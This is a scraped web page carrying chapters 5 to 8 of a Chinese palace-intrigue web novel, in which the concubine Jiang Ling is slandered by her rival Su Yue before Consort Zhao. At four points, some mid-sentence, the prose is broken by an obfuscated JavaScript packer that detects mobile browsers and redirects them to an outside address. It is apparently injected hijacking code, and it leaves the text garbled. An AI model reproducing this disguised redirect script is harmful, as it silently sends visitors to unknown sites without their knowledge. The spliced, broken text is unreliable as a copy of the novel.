d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939474|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然问不出个所以然,江舲也就不再多问,威胁道:“我安稳无事,你们才会平安。要是我出了事,你们是我身边的宫女,首先遭殃的就是你们。更别想着能侥幸逃脱,因为,你们会被灭口!” 两人脸色大变,支支吾吾说不出话来。 江舲头疼不已,不想再见到她们,葡萄更是碍眼,挥手道:“拿走拿走!” 至于她们可会去给苏月通风报信,江舲不管了,何况,她也管不住。 以苏月的聪明,她们连她都瞒不住,两人的反应稍微不对劲,都能被看穿。 江舲紧张兮兮地提防了十余日,一切都安然无恙,方逐渐松弛下来。 雨后天气晴朗,中秋即将来临,宫中开始布置节庆,到处都摆着菊花。 撷芳阁轮不到名贵的菊花,尙寝局司苑司送来了几盆常见的金菊,在墙角稀稀拉拉开着。 幸好,正屋前巴掌大的花圃中,小野菊热烈怒放。一颗碗口粗的桂花,估计不日便会花香满园。 日子无聊透顶,江舲不去御花园人群扎堆之地,便时常沿着花圃走动赏花。 “再过两天就会开了。”江舲拉下树枝,看着上头缀满米粒大的花苞,心头美滋滋。 桂花香气馥郁,到时她摘些下来,放在陈茶中增添滋味。 “江妹妹。”苏月从西跨院出来,笑吟吟唤了一声。 江舲听到与桂花蜜一样甜腻的喊声,手禁不住一抖,枝条刷地弹了回去。 一些时日没见,苏月比以前丰盈了些,肌肤在太阳底下吹弹可破,脸颊的梨涡仿佛装满了太阳,令她熠熠生辉。 看来,苏月的日子过得很好,整个人已脱胎换骨。 “江妹妹在赏花呢。”苏月笑着走了过来,说道。 端瞧苏月的神色,仿佛一切无事发生。江舲不清楚她尚不知情,还是城府太深,谈笑间让人灰飞烟灭。 江舲赶忙稳住神,轻点头说了声是。 “御花园的花开得才好,宫中的姐妹们都喜欢去逛一圈,只从不见江妹妹。” 苏月眼眸在江舲脸上来回打转,用帕子掩面,咯咯笑起来:“先前我还在德妃娘娘说道,江妹妹这性子,我以为是喜欢清净。到如今看来,江妹妹这是大智若愚呢。” 对苏月的话中有话,江舲着实不知该如何以对,敷衍应和了句:“哪里哪里。” “瞧那几盆金菊,若不是种在盆中,还以为是路边随处可见的野花呢。” 苏月纤纤玉指指向墙角,嫌弃了几句,语气一转,叹道:“我得了几盆金贵的墨菊,可惜再也不敢送来给江妹妹。” “啊哦!” 江舲暗暗哀嚎一声,苏月这是已经知晓阿箬芳荷之事,来者不善了! 5. 第五章 江舲从头到尾几乎不做声,安然若素。苏月看在眼里,让她想起了嫡母李氏。 父亲当年家境贫寒,靠着老师帮衬才读得起书。取了师妹李氏为妻。他读书一般,考春闱多年,皆名落孙山,最后又靠着岳家,谋得了县丞的差使。 李氏不能生养,父亲纳了她生母陈姨娘,生了苏月与弟弟。 父亲巴结岳家,自在李氏面前唯唯诺诺。她自诩出自读书人之家,有娘家撑腰,端着大妇的架子,陈姨娘与他们姐弟,在她面前卑躬屈膝,处处讨好。 李氏就如江舲这般,她从来不打骂他们,连大声说话都不曾。 一切皆因着,她从不曾将他们看在眼里,彻彻底底的无视与轻蔑。 苏月脸上的笑容快挂不住了,不过习惯性地笑着,神情中隐约透出一丝狰狞。 “先前的葡萄,连皇上都赞不绝口,江妹妹却看不上,碰都不碰。” 苏月缓缓伸手,喀嚓一声,折断了一支桂花树枝。她低垂着眼眸,慢悠悠掐着上面的花苞,漫不经心地弹了出去。 “葡萄是德妃娘娘给了我,江妹妹这是看不起葡萄,还是看不起我,或疑心葡萄有毒,要害了你不曾?” 不但元明帝,连赵德妃一并被抬了出来。江舲听得目瞪口呆,一时忘了回答,怔怔看着苏月,不明白她何来这般大的恨意。 “你难道哑了?!”苏月得不到江舲的反应,愈发愤怒,忍不住尖声质问。 “没哑。”这个问题太简单,江舲能回答,肯定且飞快回了苏月。 苏月气得仰倒,她美眸圆瞪,将手上的树枝一甩,冷笑了两声,扬起下巴,道:“既然我的一片好心,江妹妹当做驴肝肺,那我何须再客气。墨菊精贵,还是摆在这边主屋适合。你快些收拾,别耽误了功夫。” 江舲听明白了,苏月这是要借着墨菊,要硬抢主屋了。 一般来说,江舲不会与人争强斗胜。但她有个致命的缺点,每每紧张到一定程度时,脑子就不大受控制,凭着本能,斩钉截铁道:“不搬。” 先前苏月看不上撷芳阁主屋,以为能搬到更好的宫殿去。 元明帝只翻了她一次牌子,就将她抛在了脑后。虽投靠了赵德妃,她也不能随便指宫殿,让自己搬进去。 撷芳阁虽偏僻,主屋终究是主屋。若江舲识相些,让她住着也无妨。如今她不客气,苏月哪还会让她。 苏月本以为胜券在握,毕竟江舲不得宠,在后宫也没有靠山,断不敢拒绝。 没曾想,江舲竟然嚣张至此,连客套话都懒得说,直言拒绝了! 苏月脸色一沉,眸中寒意直冒,“你......好好好!你敬酒不吃吃罚酒,就休怪我不讲往日情面了!”说罢,扭转身怒气冲冲离开。 随侍在一旁的雪雁,剜了江舲一眼,赶紧跟了上前。 江舲抬手伸出去,试图要缓和些关系,苏月头也不回,她从不是为难自己的人,很快就放弃了。 躲在旁边看着的阿箬芳荷,这时连忙上前。两人神色都不大好,芳荷紧张地道:“才人,你快去赔不是,苏才人得罪不起啊!” 阿箬焦急地道:“就是!后宫中要是没靠山,日子过得比我们这些奴婢都不如。” 江舲眼神在两人身上扫过,一言不发回了屋。 两人都神情不安跟了进去,江舲在榻上坐下,提壶倒茶。 茶壶中的茶早已凉了,阿箬迟疑着上前,道:“才人,奴婢去重新煮茶。” 江舲习惯喝冰水,挪开手避开,倒了半碗茶,端起吃起来。 芳荷见江舲面无表情,赶紧上前拿起茶壶:“茶水没了,奴婢再去煮一壶。” 阿箬心中发怵,亦不敢再多言,跟着屈了屈身,忙不迭退下。 江舲不想搭理她们,现在她独自呆着,脑子就转得格外快。 她没吃葡萄的事,只能是由阿箬与芳荷告诉苏月。无论是苏月发现她们的异样,逼问了出来,还是她们主动去告诉苏月,都是一回事。 她早就说过,要是她出事,两人肯定也跑不掉。 虽不与人置闲气,无奈树欲静而风不止。要是前去赔不是,苏月不一定会原谅她,指不定愈发趾高气扬,再鄙夷轻视她一回。 以前江舲是多一事不如少一事,主动让出主屋。被苏月指着鼻子一通冷嘲热讽,就是咸鱼,也会蹦跶一下,岂能随便如她的愿! 大家都是才人,且她本就住在主屋,苏月算是依附着她住在撷芳阁。 即便是林贵妃她们掌管宫务,要让她腾出主屋,也要告知元明帝一声。 能让她搬出来之人,只有元明帝! 江舲摩拳擦掌等着苏月的出招,要是她能请来元明帝或者林贵妃她们的命令,她便飞快滑跪,赶紧搬出去。 那边,苏月阴沉着脸,与雪雁回到西跨院,嘀嘀咕咕商议了一通之后,去了福宁宫。 到了宫门前,苏月脚步微顿,原本沉沉的脸上,一下浮起惯常的笑容。 中秋节庆事情繁多,赵德妃刚忙完一阵,由两个小宫女轻轻捶着腿伺候,她手撑着头,斜倚在软囊上闭目养神。 黄嬷嬷随侍在左右,她见跑腿传话的宫女香梨探进头来,放轻脚步走了出去。 香梨低声说道:“嬷嬷,苏才人来了。娘娘可要见她?” 黄嬷嬷眉头微蹙,回头朝暖阁内看了一眼,道:“娘娘累着呢,苏才人三天两头往福宁宫来,也没甚要紧事,让她得闲时再来。” 香梨应是,正要离开时,赵德妃朱唇微启,道:“谁在外面?” 黄嬷嬷连忙进来回道:“娘娘,是苏才人来了,奴婢想着娘娘难得歇一口气,苏才人没甚要紧之事,待娘娘得闲时再见她。” 赵德妃神情似笑非笑,唔了一声。 苏月虽被元明帝翻了牌子,只图个新鲜,一次就撂开了。 到底是没用的东西,要是能得宠,何须等这些年! 对她的极尽巴结,赵德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939475|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃倒无所谓,拿她来凑个趣,打发闲暇,勉强算有些用处。 黄嬷嬷见状,示意香梨去回了苏月。香梨到了偏屋,道:“娘娘正忙着呢,苏才人待娘娘得闲时再来吧。” 苏月顿了下,垂下眼帘,掩去了眸中的情绪,笑道:“能者多劳,娘娘能干,成日就闲不住。不过,娘娘还是得多保重身子,万万不可累着了。” 香梨道了声是,不欲多答话,正欲转身时,只听苏月又道:“我来也没甚别的事,先前娘娘给我的墨菊,你可知娘娘可还有剩,我再厚着脸皮讨一盆回去。” “奴婢只管跑腿传话的差使,墨菊之事,要问黄嬷嬷才得知。”香梨说道。 苏月脸色变了变,叹了声气,上前两步,苦笑着道:“娘娘给我几盆墨菊,我很是喜欢,当做宝贝伺候着。西跨院地方狭窄,太阳只能晒着一阵。我想着正屋那边向阳,江姐姐也能一道赏菊,便准备将墨菊搬过去放一放。谁曾想......” 说到这里,苏月停了下来,咬了咬唇,一脸的难堪。 香梨见苏月停了下来,欲言又止,忙问道:“发生了何事?” 苏月连连叹了几口气,这才继续说道:“江姐姐冷嘲热讽,说几盆墨菊而已,也就是我眼皮子浅,当做了宝贝。我见她既然不情愿,便没与她多言,回了西跨院。谁曾想,她不依不饶,跟着我一道来到西跨院,说是要瞧瞧墨菊,究竟有多金贵。到了西跨院,她左看右看,我一时不察,被她伸手将花掐了去。中秋尙未到来,墨菊光秃秃,只得枝叶了。” 香梨听得惊讶不已,听苏月的意思,撷芳阁的纷争,与赵德妃扯上了干系。 苏月抬眼看着她,无奈地道:“我虽不不舍,想着江姐姐只是喜欢花,忍痛没有做声。江姐姐拿着花,没出西跨院,就扔掉了。我这才想起来,前些时日娘娘给我了些上贡的葡萄,我拿回去之后,与撷芳阁的姐妹们都分了几颗,说是娘娘念着我们姐妹,让我们都尝尝鲜。江姐姐一颗没动,全部扔了。” 她手上绞着帕子,变得愤愤不平起来:“我左思右想,总觉着不对劲。江姐姐这是嫉妒,见娘娘得宠,不满娘娘呢!” 香梨神色微微沉了沉,赵德妃规矩重,她没多说,只道:“奴婢知道了,墨菊之事,要等奴婢去回过黄嬷嬷。” 苏月道谢离开:“那我就不多打扰,待娘娘空时再来。” 香梨不敢耽搁,忙前往暖阁,将苏月所言之事,口齿伶俐清楚,一字不落回了。 “竟有这等事情?”黄嬷嬷诧异不已,她沉吟了下,让香梨等着。 回到暖阁,黄嬷嬷小声道:“娘娘,苏才人先前说了些撷芳阁之事。” 赵德妃眼眸睁了睁,挥手让小宫女退下。黄嬷嬷赶紧将香梨叫进屋,“你且说与娘娘听。” 香梨赶忙将苏月所言,再说了一遍。 赵德妃扶额,不动声色听着。片刻后,她淡淡笑了起来:“香梨,你去撷芳阁,请江才人来福宁宫吃茶。” 6. 第六章 “才人,才人!”鸣翠提着裙摆,慌慌张张跑进屋。 苏月从福宁宫回来,端着茶碗方吃了一口,被鸣翠惊得茶水都泼了出来。她将茶碗往矮案上一放,沉下脸道:“作甚这般冒冒失失,出甚大事了?” 鸣翠奉命盯着正屋,瑟缩着脖子道:“才人,德妃娘娘宫中的香梨去了主屋,江才人随着香梨一道离开了。” 苏月神色一变,问道:“主屋还有谁在?” 鸣翠一下怔在那里,雪雁见状,嫌弃瞥了她一眼,忙道:“才人,奴婢去一趟主屋,看是阿箬还是芳荷留了下来。” 苏月颔首,吩咐道,“你取二两银子去,无论谁在,但将银子给她便是。” 鸣翠似懂非懂,苏月的妆奁体己由她管着,闻声取下腰间的锁匙,去匣子中拿了二两的银锞子出来。 雪雁接过银子准备离开,被鸣翠抓住,“还未曾画押呢。” “我手上的差使重要,你就不能且等等?”雪雁嫌弃不已,鸣翠一根筋,她挣脱不开,不由得看向苏月求助。 苏月神情凝重坐在那里,雪雁无奈之下,先胡乱画了押。 “你且等等。”苏月深吸一口气,让雪雁将墨菊带上,交代了几句:“一并送去。” 雪雁拿着墨菊包好,前去了主屋。阿箬随侍江舲左右,芳荷在耳房,手上拿着针线发呆。 “荷姐姐在呢。”雪雁亲亲热热叫了声,状若无意转头四看,“咦,阿箬怎地不在?” 赵德妃将江舲叫了去,芳荷心里正不安,看到雪雁前来,一下更不知所措,努力挤出丝笑,招呼道:“阿箬在伺候才人,你找她有事?” “先前本要来找你们,江才人一闹,事情就耽搁了。” 雪雁无奈摇头,拿出银锞子放在芳荷手中,笑吟吟道:“才人说快过节了,拿着去托人买些胭脂水粉。” 除去六尙局二十司当差之人,后宫伺候的宫女,平时都不得出宫。她们需要的水粉头绳等物,可拿银子向在六尙局二十四司当差,能出宫的内侍女官们采买。 芳荷握着银锞子,不由得愣在了那里。如她与阿箬的月钱只得二两银,江舲不得宠,非但没有赏钱可拿,想要添菜等都得花钱,再省吃俭用,一个月也存不了几个银子。 苏月虽是才人,除去布匹冰炭等,一个月也就十两银。她以前不得宠,饭菜冰炭等定例会被克扣,想要过得好些,同样要花钱打点。 如今她一出手就是二两银子,芳荷想起江舲曾说过的话,一时不知如何是好。 “荷姐姐,你别多想。我们才人大度着呢,虽与江才人争执了几句,哪会迁怒你我这些奴婢下人。” 雪雁打开带来的匣子,里面赫然放着两朵名贵的墨菊,“诺,这是江才人喜欢的墨菊,我们才人让我送来给她戴。” 她站起身,道:“我去送给江才人。” “才人不在。”芳荷忙道。 “哦,平时江才人几乎不出门,她去何处了?”雪雁状若惊讶问道。 芳荷握着银子,迟疑了下,道:“德妃娘娘宫中的香梨姐姐找才人,阿箬伺候着前去了。” “德妃娘娘找江才人作甚?”雪雁好奇问道。 芳荷道:“我也不知,香梨姐姐来,只说德妃娘娘请才人去吃茶。” 雪雁便没再多问,留下墨菊道:“那等江才人回来之后,你帮着将墨菊交给才人。等下空了,我再来找荷姐姐说话。” 回到西跨院,雪雁仔细向苏月回禀了,“才人,奴婢瞧着芳荷一脸的为难,喜欢银子,却又不敢收,奴婢觉着她靠不住。” 苏月侧身坐在榻上,双眸望着前方的窗棂,脸上不见惯常的笑容,阴沉着的脸,透着一丝狰狞。 雪雁不禁看得心里发寒,苏月不做声,她也不敢再多言。 片刻后,苏月幽幽开了口,道:“她靠不靠得住无妨,送墨菊前去,让墨菊在主屋,若有人来查,算是有凭据在。至于墨菊如何到了主屋,谁的话可信,真相并不重要,端看偏向谁,谁有用处。” 雪雁愣住,忐忑地道:“才人以为,德妃娘娘会不信才人之言?” 苏月缓缓转过头看向雪雁,冷笑了一声,声音苍凉道:“雪雁,在这宫中,谁都不是傻子。福宁宫将人叫去,结果无非两种。一是不信任我,干脆抬举了江氏,等于就打了我的脸。二则质问江氏,让她领教到厉害。” 雪雁不解,既然苏月清楚,借赵德妃之手惩处江舲很是冒险,她为何还要那般做? 挣扎了下,雪雁呐呐问道:“才人以为,德妃娘娘会偏向才人,还是主屋那边?” 苏月转过头看向窗外,道:“尚未到最后盖棺定论时,我如何能得知晓。” 雪雁心里忐忑,随着苏月一起看向窗外,等待。 * 江舲随着香梨前往福宁宫,像是以前读书时逃课去玩游戏,被叫去班主任办公室一样紧张。 香梨说是赵德妃请她去吃茶,她当然不会相信。 毕竟苏月投靠了赵德妃,前脚两人起争执,后脚就被赵德妃叫了来。 江舲猜赵德妃要替苏月出头教训她,后宫也非赵德妃一家独大。原书中赵德妃她们都是宫斗高手,更不会在明面上直接打打杀杀。 至于赵德妃要如何做,江舲就无从得知,暗戳戳做好了打算。 若是见机不对,她就使出杀手锏:滑跪求饶! 到了赵德妃起居的暖阁,她身着月白织金半臂常服,头发松松挽就,薄施脂粉,浑身上下只戴了两只圆润的珍珠耳坠,歇倚在罗汉塌上,一派雍容华贵的姿态。 江舲屈膝见礼,双腿僵硬得像是木棍,硬生生戳下,声音发紧道:“德妃娘娘。” “江才人来了,坐吧。”赵德妃颔首,坐起身,示意江舲坐在身边。 黄嬷嬷送了茶水上来,赵德妃吃了一口,道:“这是今年新窖的新茶,说是里面有荷叶的香气,我反正吃不出来,江才人且试试看,可能尝得出荷叶香。” 江舲端起茶碗抿了一口,在焦虑中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939476|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更是什么滋味都吃不出来,老实回道:“我也吃不出有荷叶香。” 赵德妃打量着江舲,她笑了一声,手上拿着茶碗盖,闲闲道:“先前苏才人来了,说江才人听到是我给她的贡品葡萄,江才人就将葡萄扔了。我给的墨菊,江才人以为她眼皮子浅,故意掐了墨菊解气。江才人对我百般不满,嫉妒我得宠。” 江舲听得呆滞在那里,苏月还真是睁眼说瞎话,她确实扔过葡萄,但她压根就没看到过墨菊! 至于诬陷她嫉妒赵德妃的话,她更是百口莫辩。毕竟说过的话留不下痕迹,只要有证人即可。 阿箬与芳荷得了不少苏月的好处,要是她们出来作证,就坐实了她嫉妒赵德妃之事。 “德妃娘娘,我没有,真没有......”江舲手心冒汗,说话也变得结结巴巴,虽然她在否认,看上去倒似真做了亏心事一般。 “江才人别急,你既说没有,便没有。” 赵德妃笑了声,并未再提此事,只指着茶道:“吃茶吃茶。” 江舲哦了声,端起茶碗猛地吃了几口。茶水下肚,她终于松弛了些,后背又开始发寒。 若是茶中有毒呢? 赵德妃道:“江才人平时不喜出来走动,趁着京城难得的秋日,若没事的话,多来福宁宫坐坐,一道吃茶赏花。底下的人多杂乱,有时难免捧高踩低,要是有人糊弄了你去,你自来告诉我就是。” 对着赵德妃的和善,江舲脑子已经彻底转不过弯,愣愣点头道了声好。 赵德妃说起了天气等闲话,江舲不时下意识接一句,然后再低头一个劲吃茶。 江舲一碗茶很快见底,赵德妃放下尙余下大半碗的茶水,笑道:“时辰不早,阿珏要下学了,他淘气得很,你喜静,我就不虚留你了。黄嬷嬷,你取一罐新送来的龙凤团茶,让江才人带回去吃。” 听到能走人,江舲暗自松口气,赶忙起身道谢,阿箬接了茶,离开福宁宫。 太阳坠落在天际,傍晚凉爽的秋风,吹散了紧张,只她依然一脸懵。 赵德妃开诚布公道明苏月所言,听上去像是在质问,最后只得她一句毫无说服力的否认,便不再多提。更未过问她们两人究竟有何矛盾,为何苏月会那般做。 走一趟福宁宫,赵德妃仿佛真只是请她吃茶一样。 可她在原书中本是背景板,在赵德妃的寿宴上,她们甚至未曾单独说过话,两人并未有吃茶的交情。 赵德妃是宫斗高手,江舲深信,她并不会无的放矢。 可惜,以江舲的脑子,对赵德妃的用意,真真是半点都捉摸不透。 回到撷芳阁,江舲累得一头倒在榻上,芳荷抱着匣子进来:“苏才人说才人喜欢墨菊,将墨菊送来给才人。” 江舲听到墨菊,霎时弹坐起身,看到匣子中碗口大小,深紫色的墨菊,眼都直了。 她何时说过喜欢墨菊了? 且墨菊本是种在花盆中欣赏,苏月将墨菊摘下来送给她,又是使的何种招式? 7. 第七章 江舲只觉着全民皆兵,紧盯着墨菊半晌,喊住欲将离开的芳荷:“站住!” 她的声音大,急促,芳荷惊得浑身一抖,在放置茶罐的阿箬也吓了一跳。 “都过来!”江舲沉下脸,努力摆出大杀四方的架势。 两人走到榻前站好,阿箬瑟缩着不敢作声,芳荷紧张得连头都不敢抬。 “谁来送的墨菊,说了什么话,除去送墨菊之外,还送什么了?” 江舲漫不经心斜乜过去,见两人互相对视,明显心虚,她拔高声音,呵呵冷笑。 “我看你们是不见棺材不掉泪!行,不说的话,我这里庙小,留不住你们两尊大菩萨,还是送到宫正司去,由他们处置!” 她虽社恐,嘴皮子不灵光,反应慢,但她也不至于蠢到如此地步。苏月都打上门来,她还击不了,总要自卫一二。 宫正司掌管戒令,纠禁,谪罚之事,是六尙二十四司的顶头上司,隶属尚书内省。 一般尚书内省由执掌六宫的皇后掌管,先后薨逝之后,后宫由赵德妃柳贤妃辅佐林贵妃掌管。尚书内省的大权,却在元明帝手上,并未交给她们。 听到宫正司,阿箬与芳荷脸色刷地惨白,不由自主地跪了下来。 “才人......”两人先后急着张嘴要求情,江舲厉声打断了她们。 “闭嘴!” 江舲前面已经警告过她们,平时待她们已经算是仁至义尽,只要她们做自己分内的差使,从没有额外的要求。 穿进宫斗的书中,她要是同情心泛滥,死的就是她! 虽不知宫正司的门开在何处,江舲记得书中宫正司出现过,就抬出来做了大旗。 看来,宫正司的名头比较好用。江舲心头窃喜,面无表情扫视过两人,朝留在撷芳阁的芳荷一指:“你先答!” 芳荷心中害怕,不敢隐瞒,将雪雁前来之事,一五一十悉数招了出来:“才人,是雪雁主动来找奴婢,奴婢也没法子啊!” 江舲听到还有二两银子,只盯着芳荷一声不吭。 芳荷最张了张,本想辩解的话,再也说不出口。 毕竟就是傻子,也知道天上不会突然掉金子。 “才人,这是银子。”芳荷翻开衣衫,从腰间取下钱袋,拿出银锞子,抖抖索索奉到江舲面前。 江舲没看银子,再看向阿箬:“平时你们都收了苏才人多少好处。” 阿箬见芳荷都招了,不敢再隐瞒,将平时雪雁送她们的胭脂水粉,头绳等一并交代了。 江舲听罢,只觉着无语至极:“真是没出息啊!胭脂水粉,几根头绳,就值得你们吃里扒外?” 大多时候,江舲都在修仙发呆的状态,但她眼睛不瞎。 “按照宫规,宫女不得搽脂抹粉。你们爱美,平时偷偷抹一些,我看到也不会说什么。至于头绳,一根头绳几个大钱?我平时分给你们的吃食,你们觉着值多少?我月俸中做里衣罗袜等的布帛,我的那几身里衣根本用不完,余下的你们拿了去,我从未与你们计较。” 芳荷下意识压住了衣衫下摆,先前她取钱袋,露出了里衣。里衣的布料,与江舲身上所穿的一模一样。 阿箬亦不敢吭声,江舲看似万事不管,心中却有数。 “就你们的脑子,还敢做坏事!” 江舲突然有了智商碾压的喜悦,很快感到自己这句话说得前后矛盾。 她们两人聪明,会算账的话,就不会为被雪雁这点小恩小惠引上钩。 蠢与坏相辅相成,密不可分,谁知道蠢货会在何时神来一笔,给人致命一击。 江舲犯愁不已,不知要如何才能将两人弄走。不过,眼下她们两人不是重点,看着匣子的墨菊,江舲实在捉摸不透苏月的招数,干脆抱起匣子前往西跨院。 虽不知如何对付苏月,但必须告诉她,自己已清楚她的所作所为,休想能得逞! “才人,才人,她们回来了,回来了!” 鸣翠提着裙摆,往前跑了几步,想到苏月的责骂,赶忙放缓了脚步进屋,再次回禀了一遍:“阿箬还拿了一只罐子,与德妃娘娘给才人的茶罐一模一样。” 苏月早听到了鸣翠的话,她神色不大好,嗯了声,“出去吧,我知道了。” 鸣翠施礼告退,道:“奴婢去给才人取饭食了。” 雪雁心中不安,道:“才人,可要奴婢再去找阿箬探探消息?” 苏月摇头,道:“不用了。” 屋内暗沉,莫名地压抑。雪雁不敢多言,取出火折子掌灯。 苏月一动不动坐着,白皙的脸,在宫灯下格外地苍白。 这时,雪雁听到屋外响起脚步声,她诧异了下,膳房离得远,鸣翠没这般快回来。她不禁掀帘走出去,看到大步走过来的江舲,顿时一愣:“江才人来了。” 江舲朝雪雁颔首,她初次来西跨院,四下打量了一下。 与正屋格局相似,三开间带耳房的屋子,庭院中种着两颗石榴树,左右放着两口圆缸,里面养着睡莲。 屋子虽小些,足够一个主子两个宫女居住。 江舲心里的焦虑,突然就散了。面子都是小事,若是被勒令从主屋迁到西跨院,只要有吃有穿,不过是换个地方发呆而已,她照样能活下去。 苏月听到雪雁的话,缓缓转过头,江舲已经进了屋。 “苏才人。”江舲叫不出以示亲热的姐妹,以正式封号相称:“墨菊太贵重了,我不敢收。” 她将匣子放在矮案上,再拿出芳荷交出来的银锞子:“无功不受禄,银锞子也还给你。” 说完,江舲也不管苏月的反应,掉头就走。 雪雁立在门口,看着头也不回走出去的江舲,再看向神色渗人的苏月,心里七上八下,不安道:“才人,她这是什么意思?” 苏月从头到尾一言未发,拿出匣子中的墨菊,扯下花瓣,用力捏碎,莹白的指尖浸了花汁液,像是干涸的血。 “她还回墨菊,是来示威,她有福宁宫的撑腰。” 苏月开了口,声音暗哑,眼神逐渐变得癫狂:“我那般努力,曲意承欢,费劲心思讨好皇上,讨好赵德妃。他们只拿我来发泄,当我是条狗。” 雪雁震惊得眼珠都快飞出来,苏月继续扯着花瓣,捏碎,地上落满名贵,烂泥般的墨菊。 “我出身低微,没有显赫的家世,在厉害也无用。可,凭什么,凭什么呢?” 苏月蓦地看向雪雁,双眸充血,薄唇与脸色一样白,带着万般不甘与怨恨。 “他们凭什么这般对待我,江氏那个蠢货,她凭什么一副高高在上的嘴脸,到我面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939477|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来耀武扬威!” “才人.....”雪雁壮起胆子,胆战心惊道:“才人别急,主屋那边不过是将墨菊还回来而已,德妃娘娘如何能替她撑腰。” “赵德妃送她茶叶,就是打我的脸。她看低我,才这般肆无忌惮打我的脸。” 两朵墨菊,被苏月撕得一干二净。她用脚尖狠狠碾了碾,长长呼出口气,神情渐渐恢复了平静。 “花无百日红,还没到最后呢,我不会着急。” * 福宁宫。 江舲离开后,黄嬷嬷轻声道:“娘娘,可要奴婢去打听一二,撷芳阁究竟发生了何事?” “打听作甚?”赵德妃端详着自己的指甲,笑了声,“哪怕打破头,也不过是小虾米跳来跳去罢了。” 黄嬷嬷顿了下,迟疑着道:“终究关乎着娘娘,娘娘被嫉恨,总是要防备着些为好。” “若苏氏所言为假,江氏会找她算账,何苦用得我动手。若苏氏所言为真,这宫中嫉恨我的人多了去,也不差一两个。再说,江氏知晓之后,她恼羞成怒,还是会去找苏氏麻烦。苏氏的心思明明白白,她处心积虑讨好,不过想要借我的势。我已经让她借过势,可惜她心气高,却没那个本事。” 赵德妃收起手,神情冰凉,“在这后宫中,像是苏氏这样的人,活不长。怨天怨地有何用,不是你的,终究不是你的。” 黄嬷嬷琢磨了下,陪笑道:“倒也是,苏才人有几分聪明,无论真假,终究是想要借着娘娘的手处置江才人,娘娘凭什么要揽下麻烦去帮她。奴婢先前瞧着,江才人素净装扮,眉眼五官生得真是好。娘娘要是将她送到皇上面前,只怕会比苏才人能入皇上的眼。” 赵德妃一眼瞥去,凌厉的锋芒,让黄嬷嬷禁不住后背一寒。 “香的臭的,都往人前送,我莫非要改做那鸨母行当不成?” 黄嬷嬷直冒冷汗,忙道:“是奴婢失言了,娘娘息怒。” “你既然说了,江氏生得好,只脑子不大灵光,迟钝呆怔,在后宫中,聪明人多,傻子才是稀罕物。生得好,人又傻,最容易讨人欢心。” 赵德妃坐直了身,道:“君子不立危墙之下,福宁殿也好,重华宫也罢,花团锦簇亦或门庭冷落,不过是皇上的一句话而已。” 她的眼神沉下去,片刻后,道:“华宫那边一直不见动静,赵婉滢也继续装腔作势,装作自己是大姐姐,友爱宽厚。阿珏才最最重要,一定要不错眼地看着,莫要出事。” 屋外,传来萧允珏不耐烦的喊声:“阿娘,阿娘,我饿了!” “二皇子回来了。”黄嬷嬷赶紧迎出门,赵德妃也站起来,一迭声传水备吃食。 福宁殿灯火通明,赵德妃黄嬷嬷并宫女内侍等一众人,团团围绕着萧允珏,热闹极了、 重华宫。 与福宁宫一样灯火璀璨,只嬷嬷宫女走路都轻手轻脚,宫殿安宁静谧。 林贵妃正襟危坐在榻上,手中拿着大皇子萧允瑞的功课在仔细查看。她身形纤细,生得很是秀气,气质清冷如兰。加之严厉,后宫上下都怕她。 许嬷嬷悄然上前,低声道:“娘娘,撷芳阁那边吵了起来,福宁宫那位也掺和了进去。” 林贵妃头也不抬,淡然道:“小事而已,你去将消息递给赵嫔。” 8. 第八章 赵嫔来到偏屋,乳母迎上来见礼,萧珈棠抹去脸上的泪,抽噎着喊了声阿娘。 “瞧你,都已经六岁啦,还哭鼻子呢。”赵嫔望着女儿哭得红肿的眼睛,止不住心疼,拿出帕子,轻柔地替她蘸了蘸眼角的泪。 “我只比阿珏大一个月。”萧珈棠委屈极了,撅着嘴又要哭:“外祖母他们偏心,说我是姐姐,阿珏是弟弟,总要我照顾他。阿珏蛮不讲理,喜欢的东西总要抢了去,我不要搭理他。” 她一口气说完,打了个长长的嗝,耷拉下脑袋道:“阿娘,我以后再也不去外祖父府中玩耍了。” 